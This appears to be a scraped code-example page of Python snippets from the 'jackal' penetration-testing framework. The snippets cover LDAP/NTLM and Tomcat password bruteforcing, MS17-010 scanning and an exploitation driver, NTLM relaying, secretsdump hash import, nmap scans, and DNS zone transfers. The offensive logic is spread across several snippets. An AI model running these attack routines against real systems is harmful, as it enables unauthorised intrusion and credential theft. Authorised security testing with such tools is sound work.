コード例 #1
0
def main():
    hs = HostSearch()
    arg = argparse.ArgumentParser(parents=[hs.argparser],
                                  conflict_handler='resolve')
    arg.add_argument('-c',
                     '--count',
                     help="Only show the number of results",
                     action="store_true")
    arg.add_argument('-a',
                     '--add',
                     help="Add a new range",
                     action="store_true")
    arguments = arg.parse_args()
    if arguments.add:
        print_notification("Adding new host")
        address = input("What host do you want to add? ")
        host = hs.id_to_object(address)
        print_success("Added a new host:")
        print_json(host.to_dict(include_meta=True))
    elif arguments.count:
        print_line("Number of hosts: {}".format(hs.argument_count()))
    else:
        response = hs.get_hosts()
        for hit in response:
            print_json(hit.to_dict(include_meta=True))
コード例 #2
0
def bruteforce(users, domain, password, host):
    """
        Performs a bruteforce for the given users, password, domain on the given host.
    """
    cs = CredentialSearch(use_pipe=False)

    print_notification("Connecting to {}".format(host))

    s = Server(host)
    c = Connection(s)

    for user in users:
        if c.rebind(user="******".format(domain, user.username),
                    password=password,
                    authentication=NTLM):
            print_success('Success for: {}:{}'.format(user.username, password))
            credential = cs.find_object(user.username,
                                        password,
                                        domain=domain,
                                        host_ip=host)
            if not credential:
                credential = Credential(username=user.username,
                                        secret=password,
                                        domain=domain,
                                        host_ip=host,
                                        type="plaintext",
                                        port=389)
            credential.add_tag(tag)
            credential.save()

            # Add a tag to the user object, so we dont have to bruteforce it again.
            user.add_tag(tag)
            user.save()
        else:
            print_error("Fail for: {}:{}".format(user.username, password))
コード例 #3
0
def parse_domain_computers(filename):
    """
        Parse the file and extract the computers, import the computers that resolve into jackal.
    """
    with open(filename) as f:
        data = json.loads(f.read())
    hs = HostSearch()
    count = 0
    entry_count = 0
    print_notification("Parsing {} entries".format(len(data)))
    for system in data:
        entry_count += 1
        parsed = parse_single_computer(system)
        if parsed.ip:
            try:
                host = hs.id_to_object(parsed.ip)
                host.description.append(parsed.description)
                host.hostname.append(parsed.dns_hostname)
                if parsed.os:
                    host.os = parsed.os
                host.domain_controller = parsed.dc
                host.add_tag('domaindump')
                host.save()
                count += 1
            except ValueError:
                pass
        sys.stdout.write('\r')
        sys.stdout.write("[{}/{}] {} resolved".format(entry_count, len(data),
                                                      count))
        sys.stdout.flush()
    sys.stdout.write('\r')
    return count
コード例 #4
0
def main():
    netmask = '255.255.255.0'
    interfaces = psutil.net_if_addrs()
    for _, details in interfaces.items():
        for detail in details:
            if detail.family == socket.AF_INET:
                ip_address = ipaddress.ip_address(detail.address)
                if not (ip_address.is_link_local or ip_address.is_loopback):
                    netmask = detail.netmask
                    break

    parser = argparse.ArgumentParser(
        description="Uses the configured DNS servers to estimate ranges.")
    parser.add_argument("--include-public",
                        help="Include public IP addresses",
                        action="store_true")
    parser.add_argument(
        "-nm",
        "--netmask",
        help="The netmask to use to create ranges, default: {}".format(
            netmask),
        type=str,
        default=netmask)
    arguments = parser.parse_args()
    ips = []
    ips.extend(get_configured_dns())
    domains = get_resolv_dns()
    ips.extend(resolve_domains(domains))
    stats = parse_ips(ips, arguments.netmask, arguments.include_public)
    print_notification("Found {} ips and {} ranges".format(
        len(stats['ips']), len(stats['ranges'])))
コード例 #5
0
def main():
    """
        Checks the arguments to brutefore and spawns greenlets to perform the bruteforcing.
    """
    services = ServiceSearch()
    argparse = services.argparser
    argparse.add_argument('-f', '--file', type=str, help="File")
    arguments = argparse.parse_args()

    if not arguments.file:
        print_error("Please provide a file with credentials seperated by ':'")
        sys.exit()

    services = services.get_services(search=["Tomcat"], up=True, tags=['!tomcat_brute'])

    credentials = []
    with open(arguments.file, 'r') as f:
        credentials = f.readlines()

    for service in services:
        print_notification("Checking ip:{} port {}".format(service.address, service.port))
        url = 'http://{}:{}/manager/html'
        gevent.spawn(brutefore_passwords, service.address, url.format(service.address, service.port), credentials, service)
        service.add_tag('tomcat_brute')
        service.update(tags=service.tags)

    gevent.wait()
    # TODO fix stats
    Logger().log("tomcat_brute", "Performed tomcat bruteforce scan", {'scanned_services': len(services)})
コード例 #6
0
ファイル: ranges.py プロジェクト: taufderl/jackal
def main():
    rs = RangeSearch()
    arg = argparse.ArgumentParser(parents=[rs.argparser],
                                  conflict_handler='resolve')
    arg.add_argument('-c',
                     '--count',
                     help="Only show the number of results",
                     action="store_true")
    arg.add_argument('-a',
                     '--add',
                     help="Add a new range",
                     action="store_true")
    arguments = arg.parse_args()
    if arguments.add:
        print_notification("Adding new range")
        range_str = input("What range do you want to add? ")
        r = rs.id_to_object(range_str)
        print_success("Added a new range:")
        print_json(r.to_dict(include_meta=True))
    elif arguments.count:
        print_line("Number of ranges: {}".format(rs.argument_count()))
    else:
        response = rs.get_ranges()
        for hit in response:
            print_json(hit.to_dict(include_meta=True))
コード例 #7
0
ファイル: named_pipes.py プロジェクト: taufderl/jackal
def pipe_worker(pipename, filename, object_type, query, format_string, unique=False):
    """
        Starts the loop to provide the data from jackal.
    """
    print_notification("[{}] Starting pipe".format(pipename))
    object_type = object_type()
    try:
        while True:
            uniq = set()
            # Remove the previous file if it exists
            if os.path.exists(filename):
                os.remove(filename)

            # Create the named pipe
            os.mkfifo(filename)
            # This function will block until a process opens it
            with open(filename, 'w') as pipe:
                print_success("[{}] Providing data".format(pipename))
                # Search the database
                objects = object_type.search(**query)
                for obj in objects:
                    data = fmt.format(format_string, **obj.to_dict())
                    if unique:
                        if not data in uniq:
                            uniq.add(data)
                            pipe.write(data + '\n')
                    else:
                        pipe.write(data + '\n')
            os.unlink(filename)
    except KeyboardInterrupt:
        print_notification("[{}] Shutting down named pipe".format(pipename))
    except Exception as e:
        print_error("[{}] Error: {}, stopping named pipe".format(e, pipename))
    finally:
        os.remove(filename)
コード例 #8
0
ファイル: nmap.py プロジェクト: mwgielen/jackal
def nmap(nmap_args, ips):
    """
        Start an nmap process with the given args on the given ips.
    """
    config = Config()
    arguments = ['nmap', '-Pn']
    arguments.extend(ips)
    arguments.extend(nmap_args)
    output_file = ''
    now = datetime.datetime.now()
    if not '-oA' in nmap_args:
        output_name = 'nmap_jackal_{}'.format(now.strftime("%Y-%m-%d %H:%M"))
        path_name = os.path.join(config.get('nmap', 'directory'), output_name)
        print_notification("Writing output of nmap to {}".format(path_name))
        if not os.path.exists(config.get('nmap', 'directory')):
            os.makedirs(config.get('nmap', 'directory'))
        output_file = path_name + '.xml'
        arguments.extend(['-oA', path_name])
    else:
        output_file = nmap_args[nmap_args.index('-oA') + 1] + '.xml'

    print_notification("Starting nmap")
    subprocess.call(arguments)

    with open(output_file, 'r') as f:
        return f.read()
コード例 #9
0
ファイル: secretsdump.py プロジェクト: taufderl/jackal
def import_secretsdump():
    parser = argparse.ArgumentParser(
        description="Imports secretsdump files.")
    parser.add_argument("files", nargs='+',
                        help="The secretsdump files to import")
    arguments = parser.parse_args()
    print_notification("Importing {} files".format(len(arguments.files)))
    for f in arguments.files:
        parse_file(f)
コード例 #10
0
ファイル: nmap.py プロジェクト: taufderl/jackal
def nmap_smb_vulnscan():
    """
        Scans available smb services in the database for smb signing and ms17-010.
    """
    service_search = ServiceSearch()
    services = service_search.get_services(ports=['445'],
                                           tags=['!smb_vulnscan'],
                                           up=True)
    services = [service for service in services]
    service_dict = {}
    for service in services:
        service.add_tag('smb_vulnscan')
        service_dict[str(service.address)] = service

    nmap_args = "-Pn -n --disable-arp-ping --script smb-security-mode.nse,smb-vuln-ms17-010.nse -p 445".split(
        " ")

    if services:
        result = nmap(nmap_args, [str(s.address) for s in services])
        parser = NmapParser()
        report = parser.parse_fromstring(result)
        smb_signing = 0
        ms17 = 0
        for nmap_host in report.hosts:
            for script_result in nmap_host.scripts_results:
                script_result = script_result.get('elements', {})
                service = service_dict[str(nmap_host.address)]
                if script_result.get('message_signing', '') == 'disabled':
                    print_success("({}) SMB Signing disabled".format(
                        nmap_host.address))
                    service.add_tag('smb_signing_disabled')
                    smb_signing += 1
                if script_result.get('CVE-2017-0143',
                                     {}).get('state', '') == 'VULNERABLE':
                    print_success("({}) Vulnerable for MS17-010".format(
                        nmap_host.address))
                    service.add_tag('MS17-010')
                    ms17 += 1
                service.update(tags=service.tags)

        print_notification(
            "Completed, 'smb_signing_disabled' tag added to systems with smb signing disabled, 'MS17-010' tag added to systems that did not apply MS17-010."
        )
        stats = {
            'smb_signing': smb_signing,
            'MS17_010': ms17,
            'scanned_services': len(services)
        }

        Logger().log(
            'smb_vulnscan',
            'Scanned {} smb services for vulnerabilities'.format(
                len(services)), stats)
    else:
        print_notification("No services found to scan.")
コード例 #11
0
def import_smb(database_path):
    print_notification("Importing SMB database")
    conn = sqlite3.connect(database_path)

    host_search = HostSearch(use_pipe=False)
    host_map = {}

    # Inserting the hosts
    computer_count = 0
    for computer in conn.execute("SELECT id, ip, hostname, domain, os, dc FROM computers"):
        host = host_search.id_to_object(computer[1])
        if computer[2]:
            host.hostname.append(computer[2])
        if computer[4]:
            host.os = computer[4]
        if computer[5]:
            host.domain_controller = computer[5]
        host_map[computer[0]] = computer[1]
        host.add_tag("cme_import")
        host.save()
        computer_count += 1

    # Inserting the retrieved users, services and credentials.
    user_count = 0
    admin_count = 0
    user_search = UserSearch(use_pipe=False)
    for user in conn.execute("SELECT id, domain, username, password, credtype, pillaged_from_computerid FROM users"):
        # Add user
        jackal_user = user_search.id_to_object(user[2])
        if user[1]:
            jackal_user.domain.append(user[1])
        jackal_user.add_tag("cme_import")
        jackal_user.save()
        user_count += 1

        try:
            address = host_map[user[5]]
        except KeyError:
            address = None
        # Add credential
        add_credential(user[2], user[3], user[1], address, user[4], port=445)

        for admin_host in conn.execute("SELECT computerid FROM admin_relations WHERE userid=?", (int(user[0]),)):
            admin_count += 1
            admin_pc = host_map[admin_host[0]]
            add_credential(user[2], user[3], user[1], admin_pc, user[4], port=445, access_level='Administrator')
    conn.close()

    # Log the info
    stats = {}
    stats['hosts'] = computer_count
    stats['users'] = user_count
    stats['admins'] = admin_count
    stats['file'] = database_path
    Logger().log('cme_smb', "Imported CME smb database: {}".format(database_path), stats)
コード例 #12
0
    def exploit(self):
        """
            Starts the exploiting phase, you should run setup before running this function.
            if auto is set, this function will fire the exploit to all systems. Otherwise a curses interface is shown.
        """
        search = ServiceSearch()
        host_search = HostSearch()
        services = search.get_services(tags=['MS17-010'])
        services = [service for service in services]
        if len(services) == 0:
            print_error("No services found that are vulnerable for MS17-010")
            return

        if self.auto:
            print_success("Found {} services vulnerable for MS17-010".format(
                len(services)))
            for service in services:
                print_success("Exploiting " + str(service.address))
                host = host_search.id_to_object(str(service.address))
                system_os = ''

                if host.os:
                    system_os = host.os
                else:
                    system_os = self.detect_os(str(service.address))
                    host.os = system_os
                    host.save()
                text = self.exploit_single(str(service.address), system_os)
                print_notification(text)
        else:
            service_list = []
            for service in services:
                host = host_search.id_to_object(str(service.address))
                system_os = ''

                if host.os:
                    system_os = host.os
                else:
                    system_os = self.detect_os(str(service.address))
                    host.os = system_os
                    host.save()

                service_list.append({
                    'ip':
                    service.address,
                    'os':
                    system_os,
                    'string':
                    "{ip} ({os}) {hostname}".format(ip=service.address,
                                                    os=system_os,
                                                    hostname=host.hostname)
                })
            draw_interface(service_list, self.callback,
                           "Exploiting {ip} with OS: {os}")
コード例 #13
0
ファイル: relaying.py プロジェクト: taufderl/jackal
 def wait(self):
     """
         This function waits for the relay and responding processes to exit.
         Captures KeyboardInterrupt to shutdown these processes.
     """
     try:
         self.relay.wait()
         self.responder.wait()
     except KeyboardInterrupt:
         print_notification("Stopping")
     finally:
         self.terminate_processes()
コード例 #14
0
ファイル: nmap.py プロジェクト: mwgielen/jackal
def import_file():
    for arg in sys.argv[1:]:
        print_notification("Importing nmap file: {}".format(arg))
        try:
            with open(arg, 'r') as f:
                stats = import_nmap(f.read(), 'nmap_import', check_function=all_hosts, import_services=True)
            stats['file'] = arg
            Logger().log('import_nmap', 'Imported nmap file', stats=stats)
        except NmapParserException:
            print_error("File could not be parsed: {}".format(arg))
        except FileNotFoundError:
            pass
コード例 #15
0
ファイル: relaying.py プロジェクト: taufderl/jackal
    def write_targets(self):
        """
            write_targets will write the contents of ips and ldap_strings to the targets_file.
        """
        if len(self.ldap_strings) == 0 and len(self.ips) == 0:
            print_notification("No targets left")
            if self.auto_exit:
                if self.notifier:
                    self.notifier.stop()
                self.terminate_processes()

        with open(self.targets_file, 'w') as f:
            f.write('\n'.join(self.ldap_strings + self.ips))
コード例 #16
0
ファイル: relaying.py プロジェクト: taufderl/jackal
 def watch(self):
     """
         Watches directory for changes
     """
     wm = pyinotify.WatchManager()
     self.notifier = pyinotify.Notifier(wm, default_proc_fun=self.callback)
     wm.add_watch(self.directory, pyinotify.ALL_EVENTS)
     try:
         self.notifier.loop()
     except (KeyboardInterrupt, AttributeError):
         print_notification("Stopping")
     finally:
         self.notifier.stop()
         self.terminate_processes()
コード例 #17
0
def main():
    print_notification("Importing cme")
    home = expanduser('~')
    cme_workspaces_dir = join(home, '.cme', 'workspaces')
    if exists(cme_workspaces_dir):
        print_success("Found cme directory")
        workspaces = os.listdir(cme_workspaces_dir)
        for workspace in workspaces:
            workspace_path = join(cme_workspaces_dir, workspace)
            databases = os.listdir(workspace_path)
            for database in databases:
                print_notification("Importing {}".format(database))
                database_path = join(workspace_path, database)
                import_database(database_path)
コード例 #18
0
ファイル: sniffer.py プロジェクト: mwgielen/jackal-tools
def main():
    netmask = '255.255.255.0'
    own_ip = None
    interfaces = psutil.net_if_addrs()
    for _, details in interfaces.items():
        for detail in details:
            if detail.family == AddressFamily.AF_INET:
                ip_address = ipaddress.ip_address(detail.address)
                if not (ip_address.is_link_local or ip_address.is_loopback):
                    netmask = detail.netmask
                    own_ip = str(ip_address)
    print_notification(
        "Starting sniffer with netmask: {} and own_ip: {}".format(
            netmask, own_ip))
    sniffer = Sniffer(netmask=netmask, own_ip=own_ip)
    sniffer.start()
コード例 #19
0
ファイル: nmap.py プロジェクト: taufderl/jackal
def nmap_discover():
    """
        This function retrieves ranges from jackal
        Uses two functions of nmap to find hosts:
            ping:   icmp / arp pinging of targets
            lookup: reverse dns lookup
    """
    rs = RangeSearch()
    rs_parser = rs.argparser
    arg = argparse.ArgumentParser(parents=[rs_parser],
                                  conflict_handler='resolve')
    arg.add_argument('type', metavar='type', \
        help='The type of nmap scan to do, choose from ping or lookup', \
        type=str, choices=['ping', 'lookup'])
    arguments, nmap_args = arg.parse_known_args()

    tag = None
    if arguments.type == 'ping':
        tag = 'nmap_ping'
        nmap_args.append('-sn')
        nmap_args.append('-n')
        check_function = include_up_hosts
    elif arguments.type == 'lookup':
        tag = 'nmap_lookup'
        nmap_args.append('-sL')
        check_function = include_hostnames

    ranges = rs.get_ranges(tags=['!{}'.format(tag)])
    ranges = [r for r in ranges]
    ips = []
    for r in ranges:
        ips.append(r.range)

    print_notification("Running nmap with args: {} on {} range(s)".format(
        nmap_args, len(ips)))
    result = nmap(nmap_args, ips)
    stats = import_nmap(result, tag, check_function)
    stats['scanned_ranges'] = len(ips)

    Logger().log(
        'nmap_discover', "Nmap discover with args: {} on {} range(s)".format(
            nmap_args, len(ips)), stats)

    for r in ranges:
        r.add_tag(tag)
        r.save()
コード例 #20
0
def resolve_domains(domains):
    """
        Resolves the list of domains and returns the ips.
    """
    dnsresolver = dns.resolver.Resolver()

    ips = []

    for domain in domains:
        print_notification("Resolving {}".format(domain))
        try:
            result = dnsresolver.query(domain, 'A')
            for a in result.response.answer[0]:
                ips.append(str(a))
        except dns.resolver.NXDOMAIN as e:
            print_error(e)
    return ips
コード例 #21
0
ファイル: dns_discover.py プロジェクト: mwgielen/jackal
def parse_ips(ips, netmask, include_public):
    """
        Parses the list of ips, turns these into ranges based on the netmask given.
        Set include_public to True to include public IP adresses.
    """
    hs = HostSearch()
    rs = RangeSearch()
    ranges = []
    ips = list(set(ips))
    included_ips = []
    print_success("Found {} ips".format(len(ips)))
    for ip in ips:
        ip_address = ipaddress.ip_address(ip)
        if include_public or ip_address.is_private:
            # To stop the screen filling with ranges.
            if len(ips) < 15:
                print_success("Found ip: {}".format(ip))
            host = hs.id_to_object(ip)
            host.add_tag('dns_discover')
            host.save()
            r = str(ipaddress.IPv4Network("{}/{}".format(ip, netmask), strict=False))
            ranges.append(r)
            included_ips.append(ip)
        else:
            print_notification("Excluding ip {}".format(ip))

    ranges = list(set(ranges))
    print_success("Found {} ranges".format(len(ranges)))
    for rng in ranges:
        # To stop the screen filling with ranges.
        if len(ranges) < 15:
            print_success("Found range: {}".format(rng))
        r = rs.id_to_object(rng)
        r.add_tag('dns_discover')
        r.save()

    stats = {}
    stats['ips'] = included_ips
    stats['ranges'] = ranges
    return stats
コード例 #22
0
ファイル: domaindump.py プロジェクト: taufderl/jackal
def import_domaindump():
    """
        Parses ldapdomaindump files and stores hosts and users in elasticsearch.
    """
    parser = argparse.ArgumentParser(
        description=
        "Imports users, groups and computers result files from the ldapdomaindump tool, will resolve the names from domain_computers output for IPs"
    )
    parser.add_argument("files",
                        nargs='+',
                        help="The domaindump files to import")
    arguments = parser.parse_args()
    domain_users_file = ''
    domain_groups_file = ''
    computer_count = 0
    user_count = 0
    stats = {}
    for filename in arguments.files:
        if filename.endswith('domain_computers.json'):
            print_notification('Parsing domain computers')
            computer_count = parse_domain_computers(filename)
            if computer_count:
                stats['hosts'] = computer_count
                print_success("{} hosts imported".format(computer_count))
        elif filename.endswith('domain_users.json'):
            domain_users_file = filename
        elif filename.endswith('domain_groups.json'):
            domain_groups_file = filename
    if domain_users_file:
        print_notification("Parsing domain users")
        user_count = parse_domain_users(domain_users_file, domain_groups_file)
        if user_count:
            print_success("{} users imported".format(user_count))
            stats['users'] = user_count
    Logger().log(
        "import_domaindump",
        'Imported domaindump, found {} user, {} systems'.format(
            user_count, computer_count), stats)
コード例 #23
0
ファイル: dns_discover.py プロジェクト: mwgielen/jackal
def zone_transfer(address, dns_name):
    """
        Tries to perform a zone transfer.
    """
    ips = []
    try:
        print_notification("Attempting dns zone transfer for {} on {}".format(dns_name, address))
        z = dns.zone.from_xfr(dns.query.xfr(address, dns_name))
    except dns.exception.FormError:
        print_notification("Zone transfer not allowed")
        return ips
    names = z.nodes.keys()
    print_success("Zone transfer successfull for {}, found {} entries".format(address, len(names)))
    for n in names:
        node = z[n]
        data = node.get_rdataset(dns.rdataclass.IN, dns.rdatatype.A)
        if data:
            # TODO add hostnames to entries.
            # hostname = n.to_text()
            for item in data.items:
                address = item.address
                ips.append(address)
    return ips
コード例 #24
0
ファイル: domaindump.py プロジェクト: taufderl/jackal
def parse_domain_users(domain_users_file, domain_groups_file):
    """
        Parses the domain users and groups files.
    """
    with open(domain_users_file) as f:
        users = json.loads(f.read())

    domain_groups = {}
    if domain_groups_file:
        with open(domain_groups_file) as f:
            groups = json.loads(f.read())
            for group in groups:
                sid = get_field(group, 'objectSid')
                domain_groups[int(sid.split('-')[-1])] = get_field(group, 'cn')

    user_search = UserSearch()
    count = 0
    total = len(users)
    print_notification("Importing {} users".format(total))
    for entry in users:
        result = parse_user(entry, domain_groups)
        user = user_search.id_to_object(result['username'])
        user.name = result['name']
        user.domain.append(result['domain'])
        user.description = result['description']
        user.groups.extend(result['groups'])
        user.flags.extend(result['flags'])
        user.sid = result['sid']
        user.add_tag("domaindump")
        user.save()
        count += 1
        sys.stdout.write('\r')
        sys.stdout.write("[{}/{}]".format(count, total))
        sys.stdout.flush()
    sys.stdout.write('\r')
    return count
コード例 #25
0
ファイル: secretsdump.py プロジェクト: taufderl/jackal
def parse_file(filename):
    cs = CredentialSearch()
    us = UserSearch()
    print_notification("Processing {}".format(filename))
    if not os.path.isfile(filename):
        print_error("Given path is not a file, skipping...")
        return

    pattern = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
    result = re.findall(pattern, filename)
    ip = ''
    if len(result):
        ip = result[0]
        print_notification("Host IP seems to be {}".format(ip))
    else:
        print_error("IP could not be obtained from the filename, skipping...")
        return

    with open(filename, 'r') as f:
        data = f.readlines()

    data = [d.strip() for d in data]

    count = 0
    print_notification("Importing {} credentials".format(len(data)))
    for line in data:
        s = line.split(':')
        if len(s) == 7:
            username = s[0]

            jackal_user = us.id_to_object(username)
            jackal_user.add_tag("secretsdump_import")
            jackal_user.save()

            lm = s[2]
            nt = s[3]
            secret = lm + ":" + nt
            credential = cs.find_object(username=username, secret=secret, host_ip=ip)
            if not credential:
                credential = Credential(secret=secret, username=username, type='ntlm', host_ip=ip, port=445)

            credential.add_tag("secretsdump_import")
            credential.save()
            count += 1
        else:
            print_error("Malformed data:")
            print_error(line)

    if count > 0:
        print_success("{} credentials imported".format(count))
    else:
        print_error("No credentials imported")
コード例 #26
0
ファイル: sniffer.py プロジェクト: mwgielen/jackal-tools
 def start(self, timeout=None):
     """
         Starts the sniffing
     """
     if timeout:
         print_notification(
             "Starting sniffer for {} seconds".format(timeout))
     else:
         print_notification("Starting sniffer")
     print_notification("Press ctrl-c to stop sniffing")
     try:
         sniff(prn=self.callback, store=0, timeout=timeout)
     except PermissionError:
         print_error("Please run this tool as root")
コード例 #27
0
ファイル: nmap.py プロジェクト: mwgielen/jackal
def nmap_scan():
    """
        Scans the given hosts with nmap.
    """
    # Create the search and config objects
    hs = HostSearch()
    config = Config()

    # Static options to be able to figure out what options to use depending on the input the user gives.
    nmap_types = ['top10', 'top100', 'custom', 'top1000', 'all']
    options = {'top10':'--top-ports 10', 'top100':'--top-ports 100', 'custom': config.get('nmap', 'options'), 'top1000': '--top-ports 1000', 'all': '-p-'}

    # Create an argument parser
    hs_parser = hs.argparser
    argparser = argparse.ArgumentParser(parents=[hs_parser], conflict_handler='resolve', \
    description="Scans hosts from the database using nmap, any arguments that are not in the help are passed to nmap")
    argparser.add_argument('type', metavar='type', \
        help='The number of ports to scan: top10, top100, custom, top1000 (default) or all', \
        type=str, choices=nmap_types, default='top1000', const='top1000', nargs='?')
    arguments, extra_nmap_args = argparser.parse_known_args()

    # Fix the tags for the search
    tags = nmap_types[nmap_types.index(arguments.type):]
    tags = ["!nmap_" + tag  for tag in tags]

    hosts = hs.get_hosts(tags=tags)
    hosts = [host for host in hosts]

    # Create the nmap arguments
    nmap_args = []
    nmap_args.extend(extra_nmap_args)
    nmap_args.extend(options[arguments.type].split(' '))

    # Run nmap
    print_notification("Running nmap with args: {} on {} hosts(s)".format(nmap_args, len(hosts)))
    if len(hosts):
        result = nmap(nmap_args, [str(h.address) for h in hosts])
        # Import the nmap result
        for host in hosts:
            host.add_tag("nmap_{}".format(arguments.type))
            host.save()
        print_notification("Nmap done, importing results")
        stats = import_nmap(result, "nmap_{}".format(arguments.type), check_function=all_hosts, import_services=True)
        stats['scanned_hosts'] = len(hosts)
        stats['type'] = arguments.type

        Logger().log('nmap_scan', "Performed nmap {} scan on {} hosts".format(arguments.type, len(hosts)), stats)
    else:
        print_notification("No hosts found")
コード例 #28
0
ファイル: nmap.py プロジェクト: taufderl/jackal
def os_discovery():
    """
        Performs os (and domain) discovery of smb hosts.
    """
    hs = HostSearch()

    hosts = hs.get_hosts(ports=[445], tags=['!nmap_os'])

    # TODO fix filter for emtpy fields.
    hosts = [host for host in hosts if not host.os]

    host_dict = {}
    for host in hosts:
        host_dict[str(host.address)] = host

    arguments = "--script smb-os-discovery.nse -p 445 -Pn -n --disable-arp-ping".split(
        ' ')
    if len(hosts):
        count = 0
        print_notification("Checking OS of {} systems".format(len(hosts)))
        result = nmap(arguments, [str(h.address) for h in hosts])

        parser = NmapParser()
        report = parser.parse_fromstring(result)

        for nmap_host in report.hosts:
            for script_result in nmap_host.scripts_results:
                script_result = script_result.get('elements', {})

                host = host_dict[str(nmap_host.address)]
                if 'fqdn' in script_result:
                    host.hostname.append(script_result['fqdn'])
                if 'os' in script_result:
                    count += 1
                    host.os = script_result['os']

                host_dict[str(nmap_host.address)] = host

        for host in hosts:
            host.add_tag('nmap_os')
            host.save()

        print_notification("Done, found the os of {} systems".format(count))

    else:
        print_notification("No systems found to be checked.")
コード例 #29
0
ファイル: relaying.py プロジェクト: taufderl/jackal
def main():
    interface_name = get_interface_name()
    argparser = argparse.ArgumentParser(
        description="Tool to start relaying and stuff.")
    argparser.add_argument('--no-ldap',
                           help='Disable relaying to ldap.',
                           action='store_true')
    argparser.add_argument('--interface', help='Interface to use, default: {}'.format(interface_name), \
        type=str, default=interface_name)
    argparser.add_argument('--auto-exit',
                           help='Exit after all targets have been exploited.',
                           action='store_true')

    arguments = argparser.parse_args()
    spoofing = Spoofing(arguments.interface, not arguments.no_ldap,
                        arguments.auto_exit)
    print_notification("Started processes, if these crash maybe run as root?")
    spoofing.load_targets()
    spoofing.write_targets()
    spoofing.start_processes()
    print_notification("Spoofing starting, press Ctrl-C to quit.")
    spoofing.watch()
    print_notification("Exiting")
コード例 #30
0
ファイル: head_scanner.py プロジェクト: taufderl/jackal
def main():
    """
        Retrieves services starts check_service in a gevent pool of 100.
    """
    search = ServiceSearch()
    services = search.get_services(up=True, tags=['!header_scan'])
    print_notification("Scanning {} services".format(len(services)))

    # Disable the insecure request warning
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    pool = Pool(100)
    count = 0
    for service in services:
        count += 1
        if count % 50 == 0:
            print_notification("Checking {}/{} services".format(
                count, len(services)))
        pool.spawn(check_service, service)

    pool.join()
    print_notification(
        "Completed, 'http' tag added to services that respond to http, 'https' tag added to services that respond to https."
    )